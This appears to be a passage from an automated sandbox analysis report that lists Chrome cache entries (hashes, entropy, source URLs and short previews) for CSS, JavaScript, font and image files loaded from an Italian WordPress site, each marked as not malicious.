Preview:	wOFF......xT................................OS/2.......D...V>QJ/cmap...8...:...J.<..glyf...t..i....H..head..j....3...6....hhea..j........$...Thmtx..j..........f..loca..l....\...\G.pXmaxp..n........ .E..name..o........!...:post..p..........7\\x.c`d.e......T......B3>`0ddb``b`ef....\S..^0..f......\..(.........x.c```f.`..F..p....\|... ........^j...R...DK0B...#..........x....l..(6U........>}z{..q.9s..m.{..3;...Y~....:..8...X....e!.Y...B+.G,.....B.!..B.....B.. .B.l.Z..Z...m......c.{s.y.._..U_U}...r.......?.2!-.B...L..).kT.0.Bn.4..at......+u.q_..H..w...$fF..[..I..e..SzL....4C.GCP.._....T1..P..mg......}...[...B..N......7[-%.d...Pe...x.<.....P..I\|.2C{B.......mm....\.O..hm.....(.v4...u.p".Ox\|.P..C....o..t".....1.Qf>Q.$...D.&..%{+.$t..&...a2....m../B..'.=...bZ-[tM.Y....fl..hCME.=..7.......t.~}..2...(t...p...../.:..Q......tH..~+....(....".....R.-`d`7E3..b.~H.u.I..[...#.....As...q....i...b.8.]<...e...=.......i/a.F.6.B....TO!....~..`+x....#.8...g....y..c "...5L..T

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2435
Entropy (8bit):	4.953724044433105
Encrypted:	false
SSDEEP:	48:MQze1dDO11dhhl5OlQONiHRClV/WV/kWm8+8r5eq:MQze1dDO11dhhlMlQK2YhWhkWP5h
MD5:	CC8DFD3FF6E84DD6A46C141772D825B1
SHA1:	B7FEFEF63F42FD4EF0717D71032F08295125608D
SHA-256:	262292E4BA5C6CA6E11BCE7D24F39C0FCDFBB7D7867996BC1A55ECB2F8625F50
SHA-512:	BA0F95D86A1B3DE2695093B49521E66076E2F6BE67C151F72EB6A4CE642B5DCB2FAFD89837E2DCC601EC3D4F3658C7D2011ECB1A4DF90A20C98E58372D78AA8F
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery/gallery.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Gallery.====================================================================================================================================================== */.#top div .avia-gallery{overflow: hidden; padding-bottom:2px; clear:both;}.#top div .avia-gallery img{float:left; border-style: solid; border-width:1px; padding:7px; width:100%; border-radius: 0;}.#top div .avia-gallery .avia-gallery-big{display: block;overflow: hidden; padding:7px; margin-bottom:-1px; border-top-left-radius: 2px; border-top-right-radius: 2px; border-style: solid; border-width:1px;}.#top div .avia-gallery .avia-gallery-big-inner{display: block;overflow: hidden; height: 100%;}.#top div .avia-gallery .avia-gallery-big img{padding:0; border:none;}.#top .avia-gallery .avia-gallery-thumb a{ width:20%; opacity: 1; }.#top #wrap_all .avia-gallery .avia-gallery-thumb

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1051 x 630, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	834032
Entropy (8bit):	7.994041545331016
Encrypted:	true
SSDEEP:	12288:7Ht2ldZazO/7FjxHExIDonrXaYEpX/l3J3hcgGS13VTOxExP6FzVkqCJic:7Ht2ldZ+5x6orKvVJxLGuVTOixPgqN
MD5:	93A185206C73A36128C4CADB337B0666
SHA1:	C19C0B471FD903D0B5433E2079B3D0488F2B508F
SHA-256:	05AECB32FCBC40E6F291A94FC3D347A6CDA7161E0DFC633106C47507C8B397BC
SHA-512:	6922A942E79E2C7552AF8D894C0D1F9421E280379A8C5BF9260CF29CC748BD44ED0176D540860C8279475B89596B49BFB83489F26286C7C9F2ADDC40BB3B344D
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.22.19-1051x630.png
Preview:	.PNG........IHDR.......v........z....IDATx....%I.....HV?\.....Q..y0. .U...Y.\..p.... ........?0....?....`n.\.oV...an..g...7...........?....S.V..>. ...\|}O..w7..-7.~.n.....q...~7...n...h.dq=...:...;.......8`X.&^S]S}..{......^....za.=k.6..\.&......'..0.7...z..nn..........?.~..X..>.i.N...}X.........qj9..3.+..C.......b../.\|.N.i..u.h....S.j.s.....X....47.4....].....b...p....=._^.9..Z..}:;.....x!....iL...bn.psG...z...m....`..n........].3\..~.]\|..]....m.[.p].c....D..........p.&]K.+Y]c.u7.wv=.....y.....5.s..w....u...m-.7.Z.c......\|.%.{.5....XSb..h.....V^..k....1od....i. ?k.S...^.k8d}4x.]..}..4..r.k.h^.3@..q.....F.>b..Bm....8>,Ck.....aM.?.m./..}.....:_.....5V./.Z.....L..Y._\|>^.S.E....c....?...i}..jX?.9.W.w.a\|>.....K.i........L.............O......5..]_o.g....n...~....6@..p-r*...A..(..@.....VUQ\|..U.6.8[.@.o.r....\@saj......b..M.......Z.h1... ]E.i.."m._.t.49...)...t .h=k~.~...p.9.....h...Y....UY........2..\...A..\?3..}..Y.\.WE.....a.&@..m"[.O;.._2..".+.

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4709
Entropy (8bit):	5.053524279383076
Encrypted:	false
SSDEEP:	96:lQ1054RTR06n/rGqa8aZl8/S0AMYBN1BN+C:KK+hR0m/aqa8aZl89qxCC
MD5:	A4DC41323D6034F43EB82755D9159C0A
SHA1:	B86E2C86B46E529498A708834BE258290C07A28E
SHA-256:	BC6C38BB6D4EAA60AC019C728A25EBCC36B6A6D4ED7EA41FF83BED6DCC0D25EA
SHA-512:	A4346EE71FBC7E4D79FA22526D99300C60D42FA182C0DD1506576CBA914CA3A520234A6988122EB83A9181952E1672062701558ECE5B61A8808047D81FB479FF
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons/buttons.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Button.====================================================================================================================================================== /../button element*/..avia-button-wrap{display:inline-block;}...avia-button{.color:#777;.border-color: #e1e1e1;.background-color: #f8f8f8;.}..body div .avia-button{.border-radius: 3px;.padding:10px;.font-size: 12px;.text-decoration: none;.display:inline-block;.border-bottom-style: solid;.border-bottom-width: 1px;.margin:3px 0;.line-height: 1.2em;.position: relative;.font-weight: normal;.text-align: center;.max-width: 100%;.}...avia-button:hover{opacity: 0.9;}..avia-button:active{border-bottom-width: 0px; border-top-width: 1px; border-top-style: solid;}..avia-button.avia-color-theme-color-subtle{background-image: none;}..avia-button.avia-color-theme-color-subtle:hover{}....avia-

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text
Category:	downloaded
Size (bytes):	23906
Entropy (8bit):	5.061256688565355
Encrypted:	false
SSDEEP:	384:rVz6tRnHm+rF2GljGm94rDQBzdXlbmGFfk9ymZ:rheJrFbjG1DS8GFfjI
MD5:	C7B132A42173351B8DA871D8F8968C57
SHA1:	5B8AF060AED7F2A646F216F1E0E76CD846AA2741
SHA-256:	BC672A64828957342C967EF1374EA3CFBE1FF1384A4E3D67AD11D71DF9711F7F
SHA-512:	4B34979FA945EF83C99BB1A6F1C089C5B0DFAD3C04F975789FFACE64E304680172102A3CC99EC18ADB3D734258D1A140F60B50299753C480AA3529C7E11E2913
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/css/avia-snippet-widget.css?ver=4.5
Preview:	/* ======================================================================================================================================================.#Sidebar & Widgets.====================================================================================================================================================== /.....sidebar .widget:first-child, .content .sidebar .widget:first-child{.padding-top:0;.border-top-style: none;.border-top-width: 0;.}../ archive widget /..widget_archive label.screen-reader-text {. display: none;.}.../nav menu widget*/....widget_nav_menu a{.display: block;.padding:4px 0px 5px 0;.text-decoration: none;.}..div .widget_nav_menu{.padding-bottom:24px;.}..#top .widget_nav_menu ul{margin:0; padding:0; float: none; list-style-type: none;}..#top .widget_nav_menu li{.position: relative;.-webkit-box-sizing: content-box; .-moz-box-sizing: content-box; .box-sizing: content-box;.clear:both;.font-size:13px;.}..#top #footer .widget_nav_menu li{ background-co

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 24016, version 1.0
Category:	downloaded
Size (bytes):	24016
Entropy (8bit):	7.991051678216668
Encrypted:	true
SSDEEP:	384:+XLm9ZyQls6kP+4wa23XIY7FF51G/Y6rCTTj1KSKIha9Dpy4e+LZa6+sMQrk/h59:ZyH9PEawXI8N1l6+TdT8hresyz5JFaq/
MD5:	85F00D66C5F31D58833ABF1CFBE1496E
SHA1:	D504A89747D1258A4C4FAFF0EBC6F63853B570D6
SHA-256:	3270680FC889EABFB9C410EE690161071F237679A90171A0A67B09142B8D382C
SHA-512:	FE38F685B8A78875403B482EC93A9F66B1EE729FAEFE8BCCEF1FE47E85F5D43FFA3AEE0AB6D6DFCEEB20D7C5555CA9EA69FDD985C3DB680F60D8CBA5C6C798C5
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/dancingscript/v25/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSo3Sup8.woff2
Preview:	wOF2......]..........]l.........................\|...j..J.`?STAT...:.....\|..Z..v..6.$..h. .........p...Vl...jV.?..l..n...`O.D.....\|v......^.n.Xb+JW"{Uo/4\U.Fw..d.{q..t?.6..6..ZU...p...0.b)Jc0.$G.4nEbA.H..8r.-..>......T(j..E`..G...9}.,.%.Q.G.`.........5...Q1..Sc...M."..p..!.Z..!.ZH...x..MEm....hg...Y.y..~.D.c...e.?.t....C..P..^)..!....S...I.p.....D.)Cl..\|o..'...}\..s.D"i?.[...M.....i~S..J+1....d..1 @B.!.R....M.{..k0. ..(X.S5s.........M.U+....?(@.5b....U..+Z.b...S....Qb.J+2m...2H..Zr.....w...A.h...3...O....O.U....].a.$...b..Z........3...qf.`M.hS...T~cZ..w....D]..<...J.{ju.......... .Vi..k.6d......z.6..."M...).q.h.Q.....@f...j.....;.T.Xt.k......@`..$4.v.....\|6Iq...@.A.z...&:..b.'J.1.!..E..\....z..t.....]S...........K...7%J.a...w...m% .&..-..i.#.B....>PBp"".....n..A...l.. 2..w....\...}k..Z......kc..A.(...w.c.5E3G.......C??....2E....W.\|M.5...cM.......p.DX...At...K4........e=..R....Q.c..zQ..z.3n...m..P..G.........J.@5%.A@....$\.SWN.Z}c.}:-..'P3.Y..O..f

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89521
Entropy (8bit):	5.289973268315515
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1vM:DIh8GgP3hujzwbhd3XvSiDQ47GKq
MD5:	02DD5D04ADD4759122013C5AB4DC5CC2
SHA1:	A45A56E396AC549B4FF39B696CE9E0C16A7612DE
SHA-256:	BD4DE6A3FC0FB68D6F76BA7B93514B96A92E585C295B5351C31AD92A4B0777EA
SHA-512:	04690D9875E98F5AE6BF94F5C71B7A0177B374BC09609A0F58312E1C337348749A40E07FE226737DC248BD8FE2F6A489071258619AFFC7F1DF644E4255159615
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-includes/js/jquery/jquery.min.js?ver=3.6.0
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3211
Entropy (8bit):	4.939607716754517
Encrypted:	false
SSDEEP:	96:z27TmCEmLJnRPIuQe+9N99yyfDrXrw2U2Ck:z2B1nRQuQe2XAyj2k
MD5:	F738C0F2EA1CED7138565ACA2B62DF83
SHA1:	A432EF4C07E4101F0C7022C325B095A09459CD97
SHA-256:	88177967F5308C304FC2AB14CA52C6C46ABAF8502ACA2100B4AD052C23929808
SHA-512:	B16D19A1883499C50BDBA579A1A63BA9DF8E2B39EAEA8F840567ADC4D72AD71864733DDC3BDE95159741D7A5889F82E1472B465FCE75A51074791230DFD2C293
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/heading/heading.css?ver=6.0.9
Preview:	./* ======================================================================================================================================================.HEADING.====================================================================================================================================================== */..av-special-heading{.width:100%;.clear:both;.display: block;.margin-top:50px;.position: relative;.}...avia_mobile .av-special-heading{.-webkit-perspective: 1000px;.-webkit-backface-visibility: hidden;.}...av-special-heading.avia-builder-el-no-sibling{margin-top:0px; margin-bottom:0px;}...flex_column + .av-special-heading{float:left; }..body .av-special-heading .av-special-heading-tag{.padding:0;.margin:0;.float:left;.}...meta-heading .av-special-heading-tag{.font-weight: normal;.}...custom-color-heading .av-special-heading-tag {.color: inherit;.}...special-heading-border{.position: relative;.overflow: hidden;.}...av-special-heading-h1 .special-heading-border{height: 3.4em;}.

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	267
Entropy (8bit):	6.34426489571429
Encrypted:	false
SSDEEP:	6:6v/lhPFMkcC/QCllL4N/02j27XW+zFarJUma+7dp:6v/7tH/MN/02j27X7zFara87z
MD5:	9C6287BDF64843201AF93FF1AFBFAC6C
SHA1:	A31D1F6A6DC624C02A6E7767BD9D5AD894C7CDDB
SHA-256:	85D05871F6315412DE38A72C7164FD4917EFBA135BA06ED9972C502C1FD811FF
SHA-512:	E6AF1947CD5112AC5CCD5042A62FC2F697CAEBAB3441E28D9B3BACD1D6798ECBF099B251CC5D35B62C1D776F6187079E82CE1EAF5B9F5BC882961681C1049877
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.do 29 dec 2005 02:35:37 +0100........tIME.....(.HYx.....pHYs...........~.....gAMA......a....cIDATx...1.. ....L.."...N ....!...?L%_:...n ..-..C..._MRy..T...VS...=%V.-..?3...Rx..X.1..\|3".....\|.(.-.W.....IEND.B`.

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32004)
Category:	dropped
Size (bytes):	49143
Entropy (8bit):	5.137636357602033
Encrypted:	false
SSDEEP:	768:9fyxzGdHc1zfA9ZVP4eAnmc6FumKSshD6cD6GLQfq9SvDz2d1FxSuWBlb7myLBK:Ux6dOjARP4Nnmc6FuCshD6cD6xS9ODzw
MD5:	F680B1A267329287C8ED3358EF7732EB
SHA1:	A11BE43086599CBC7BA370602C038161356F38B6
SHA-256:	986AFF2E526C11746107D4F08E128BC6BB8312C4750710BB4F673D7C52F9BA7B
SHA-512:	04DC2AE7FFDA9BE7C8A3B2BEC0DA219CFA08E322F932E336270B0C49DAA6569904ABC330E90F97B333D1AA98AF2B9FA492C0A4C6B7816ABFB3B263D26082F996
Malicious:	false
Reputation:	low
Preview:	/!. Isotope PACKAGED v3.0.5. . Licensed GPLv3 for open source use. * or Isotope Commercial License for commercial use. . https://isotope.metafizzy.co. * Copyright 2017 Metafizzy. */..!function(t,e){"function"==typeof define&&define.amd?define("jquery-bridget/jquery-bridget",["jquery"],function(i){return e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("jquery")):t.jQueryBridget=e(t,t.jQuery)}(window,function(t,e){"use strict";function i(i,s,a){function u(t,e,o){var n,s="$()."+i+'("'+e+'")';return t.each(function(t,u){var h=a.data(u,i);if(!h)return void r(i+" not initialized. Cannot call methods, i.e. "+s);var d=h[e];if(!d\|\|"_"==e.charAt(0))return void r(s+" is not a valid method");var l=d.apply(h,o);n=void 0===n?l:n}),void 0!==n?n:t}function h(t,e){t.each(function(t,o){var n=a.data(o,i);n?(n.option(e),n._init()):(n=new s(o,e),a.data(o,i,n))})}a=a\|\|e\|\|t.jQuery,a&&(s.prototype.option\|\|(s.prototype.option=function(t){a.isPlainObject(t)&&(this.options=a.

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
URL:	https://mc.yandex.com/metrika/advert.gif
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2178
Entropy (8bit):	4.887878821170447
Encrypted:	false
SSDEEP:	48:FstOF+hY4ATunObOBMur7ffAvo4HAaOPG7wcY3zwAv3r:F0hY4QAMuixexMQ3r
MD5:	687BF47DDC6ECF6986C7B38C8369F248
SHA1:	AFE27D81DAC2B6516E432EF784172D0F66F54DB1
SHA-256:	5359F6E24D75B783A04E0BC597AE59D66ACCE61DC74D124BEACA24061DD18E0C
SHA-512:	31B97B154AAF9804947972B9AC0DA25C7C1A0AC1261E11CE827A00C0AEB9F084A4B7DA7CB43DC8C09DE0501C4B3C3C3791CD26EC8566E09FE455F599099D7610
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/css/avia-snippet-site-preloader.css?ver=6.0.9
Preview:	./site preloader: http://projects.lukehaas.me/css-loaders/ /..av-siteloader-wrap{.position: fixed;.top:0;.left:0;.right:0;.bottom:0;.width:100%;.height:100%;.z-index: 1000000;.background: #fff;.display:none;.}.html.av-preloader-active{}.html.av-preloader-active .av-siteloader-wrap{display:block;}...av-siteloader-inner{..position: relative;..display: table;..width: 100%;..height:100%;..text-align: center;.}...av-siteloader-cell{display:table-cell; vertical-align: middle;}....av-siteloader , #top div.avia-popup .mfp-preloader{. font-size: 10px;. position: relative;. text-indent: -9999em;. margin:0 auto;. border-top: .2px solid rgba(0, 0, 0, 0.2);. border-right: 2px solid rgba(0, 0, 0, 0.2);. border-bottom:2px solid rgba(0, 0, 0, 0.2);. border-left: 2px solid #000;. -webkit-animation: av-load8 0.8s infinite linear;. animation: av-load8 0.8s infinite linear;.}..#top div.avia-popup .mfp-preloader{..position: absolute;..background: transparent;..border-top: 2px solid #fff;.

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 240x240, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=9, manufacturer=FUJIFILM, model=X-S10, xresolution=138, yresolution=146, resolutionunit=2, software=Adobe Photoshop Lightroom Classic 13.4 (Windows), datetime=2024:07:26 14:18:28], baseline, precision 8, 1500x630, components 3
Category:	dropped
Size (bytes):	1239965
Entropy (8bit):	7.960786231140686
Encrypted:	false
SSDEEP:	24576:Xe60ItaExfe+3XbR3nhtCgyp9cfrgY005OdIQ8s3zux1dUFybGAW2W:wQ1w+TYg49o0kagxn+2W
MD5:	F0579B8AE93BD1FEA23B93C2C436D08D
SHA1:	452C4E59A795133CE344275F3ACD8B93E04A4B24
SHA-256:	2FE962E388BA7FCAAF4AD6F6BEDD012C7721DBD4928BBD6454096FED37AD0950
SHA-512:	5CBA97DB96D0D59ED24911F0F38F68E92974DADC4EA9F9D629FAD2A662F75805D1B2C18474B38F5764C48695D7CCB5D7ACCADF419CE8716E5D87104FB70E26AD
Malicious:	false
Reputation:	low
Preview:	......JFIF............:.Exif..II*...............z.......................................(...........1...1.......2...........;...........i...............FUJIFILM..X-S10.................Adobe Photoshop Lightroom Classic 13.4 (Windows)..2024:07:26 14:18:28.YOUGENIO..'........................."...........'...........0...................0232............................................................................................$...........,...........4...............................................<.......................D...........L.......................................................................................................................................1.......T...2.......^...3.......~...4...........5...................}...........2024:07:17 19:15:38.2024:07:17 19:15:38.+02:00..+01:00..+01:00...Jj.@B..f...@B......d.......d...d...d.......d...d.......d.......1D000530......d.......d.......d.......d...Viltrox.AF 13/1.4 XF..00000404........................................(.....

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2939
Entropy (8bit):	4.941391789017286
Encrypted:	false
SSDEEP:	48:2z4A0lVGeY/taXF7dIihItut4n5FkIoY0rfMQgradiyOIf:2z4DlVGz/taXF7dphItutczSY0rfMQgm
MD5:	EA8D6B21B144DFD4101BD9D2F57FD07F
SHA1:	038D9D975D6A6783E04D564E5924ED2E65F0FF9B
SHA-256:	A7C3452D5BD50C5D4F1F12F2EBEA924C57D1BA2B6A6193227CF984655D58E477
SHA-512:	281073FAF73BAB703C695153E484E9737CB04CAA0750E2156673D0B06B0D0072866A27940220B119C10884A21D9FEB1AAA997845B43D5DF07367208F16E6B41F
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// .// AVIA Countdown.// .// -------------------------------------------------------------------------------------------.(function($).{ .."use strict";....var _units.= ['weeks','days','hours','minutes','seconds'],..._second = 1000,..._minute = _second * 60,..._hour .= _minute * 60,..._day .= _hour * 24,..._week.= _day * 7,....ticker.= function(_self)...{....var _time..= {},....._now ..= new Date(),....._timestamp = _self.end - _now;........if(_timestamp <= 0)....{.....clearInterval(_self.countdown);.....return;....}........._self.time.weeks .= Math.floor( _timestamp / _week);...._self.time.days .= Math.floor((_timestamp % _week) / _day);...._self.time.hours.= Math.floor((_timestamp % _day) / _hour); ...._self.time.minutes .= Math.floor((_timestamp % _hour) / _minute); ...._self.time.seconds .= Math.floor((_timestamp % _minute) / _second); ........switch(_self.data.maximum)....{.....case 1:

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	40642
Entropy (8bit):	5.193260399697844
Encrypted:	false
SSDEEP:	768:1QaewHeUnfqAF1NnKJODRvzub+ysyvyDyvysyvyDy1VfTUaP61VLfL+UIbYm+Sb9:1QaewHeUn7F1NnKJOD5zubBz6+6z6+1V
MD5:	A94D1A7B5AE1459791A05B1ECCBD3212
SHA1:	FB1A535EB1430E5F6CAED592536E9CA5C1AD2810
SHA-256:	D04ACC209BDD31276518D4222608D66CB076DEF6FE8352A6C467730D9DC80136
SHA-512:	75EEE0E73CC2118609E4EC264E936D0E6D733241864CE7D9C7A26B349EE12363494BDDC54B83ECB8728C2E2934C4DD8C59FF18C70BF8CBFEE9DC559C29347E4C
Malicious:	false
Reputation:	low
Preview:	(function($).{.. "use strict";.. $(document).ready(function(). {.. .//global variables that are used on several ocassions. .$.avia_utilities = $.avia_utilities \|\| {};. .. .if( /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(navigator.userAgent) && 'ontouchstart' in document.documentElement). .{. ..$.avia_utilities.isMobile = true;. .}. .else. .{. ..$.avia_utilities.isMobile = false;. .}. . .//activate fixed bg fallback for mobile. .if($.fn.avia_mobile_fixed)...$('.avia-bg-style-fixed').avia_mobile_fixed();. .. .//activate parallax scrolling for backgrounds.. .if($.fn.avia_parallax)...$('.av-parallax').avia_parallax();. .. .//calculate the browser height and append a css rule to the head...if($.fn.avia_browser_height)...$('.av-minimum-height, .avia-fullscreen-slider, .av-cell-min-height').avia_browser_height();......//calculate the height of each video section...if($.fn.avia_video_section)... $('.a

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33229)
Category:	downloaded
Size (bytes):	33407
Entropy (8bit):	4.7584710387647835
Encrypted:	false
SSDEEP:	384:Wb+rB31zxcjzc61CrDam31bvG91QCQ/HUMNYmB1vcv/PEsQ/4j:731zxcfc6IyUFv61dQ/0MOm3izQ/Y
MD5:	E35D9C4EBAEA0573DF8E4A9505B72EEA
SHA1:	5FBB384CD8CD7A64483E6487D8D8179A633F9954
SHA-256:	9F29F2BBB25602F4BDBD3122C317244F8FD9741106FFD5A412574B02EE794993
SHA-512:	C571015753B927017B3BEC2B1C0B0103DE27DCC5E805E1DAF8A1459E0F797ABA38FF0592F93CBEC80B98F574B18455DDBC65A1F38A8AED5ACF14EB8CE2D7265C
Malicious:	false
Reputation:	low
URL:	https://use.fontawesome.com/releases/v5.0.0/css/all.css
Preview:	/!. Font Awesome Free 5.0.0 by @fontawesome - http://fontawesome.com. * License - http://fontawesome.com/license (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */..fa,.fab,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	4.907881383550967
Encrypted:	false
SSDEEP:	24:oZYZ3m5KnG2yj/iyiiGibYeX/QiDjhgGo2mUGbvybQbcNZe/oYYIXJiWGrjLVWw1:g/mxyziypbKckyQ8ZeVPGfH/9
MD5:	3C711BE05B8B99FF511929A32A65FF4E
SHA1:	471AE4F8052AE9BC6528E7BE1DD57D3461C01F9F
SHA-256:	D7C9B8D74BF2D734B1215CA56D81F9BED8DD251405A99D406C44E27FC6C9D2EA
SHA-512:	EAA1ADDD6239859003A10D33B7CABF4420B2DBD5DEE3BF0DD4E1C201F301860A6E471B519763ED0B58B28AE39F91DD49A02120FA733A805A337E039C139C1580
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// .// AVIA Magazine function for magazine sorting.// .// -------------------------------------------------------------------------------------------.(function($).{ .."use strict";....var animating = false,...methods = {......switchMag: function(clicked, _self)...{....var current ..= $(clicked)........if(current.is('.active_sort') \|\| animating) return;........var filter...= current.data('filter'),.....oldContainer.= _self.container.filter(':visible'),.....newContainer.= _self.container.filter('.' + filter);........//switch Class....animating = true;...._self.sort_buttons.removeClass('active_sort');....current.addClass('active_sort');........//apply fixed heiht for transition...._self.magazine.height(_self.magazine.outerHeight());........//switch items....oldContainer.avia_animate({opacity:0}, 200, function()....{.....oldContainer.css({display:'none'});.....newContainer.css({opacity:0, display

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 16656, version 1.0
Category:	downloaded
Size (bytes):	16656
Entropy (8bit):	7.988049904533841
Encrypted:	false
SSDEEP:	384:iQHyQnxGXgY5+IR6CfOwEPr/cz5h3HCu3vGTe/SF+leJksUhEdHKwSKt+IS:PDnhK0w6r/ihCu3We/7ORXt7S
MD5:	B829329CC3E60A89F54B72555FBAB6DD
SHA1:	0F18B292A1384E46BBA4257DE55C6AA3C344D43F
SHA-256:	F52BCE4306CC4EB93E5AADF81EB15B4FEBDB301396539F261BA84018E601FF82
SHA-512:	40495CA37DAC3252A6DFF423AB2680E3C7B223A64C3EA33DC8ACDA951DC98F164B1F88F7CEC6583CBCF9252692E048F913EB033C12D5DF4A765A5466D4704033
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/dosis/v32/HhyJU5sn9vOmLxNkIwRSjTVNWLEJBbMl2xME.woff2
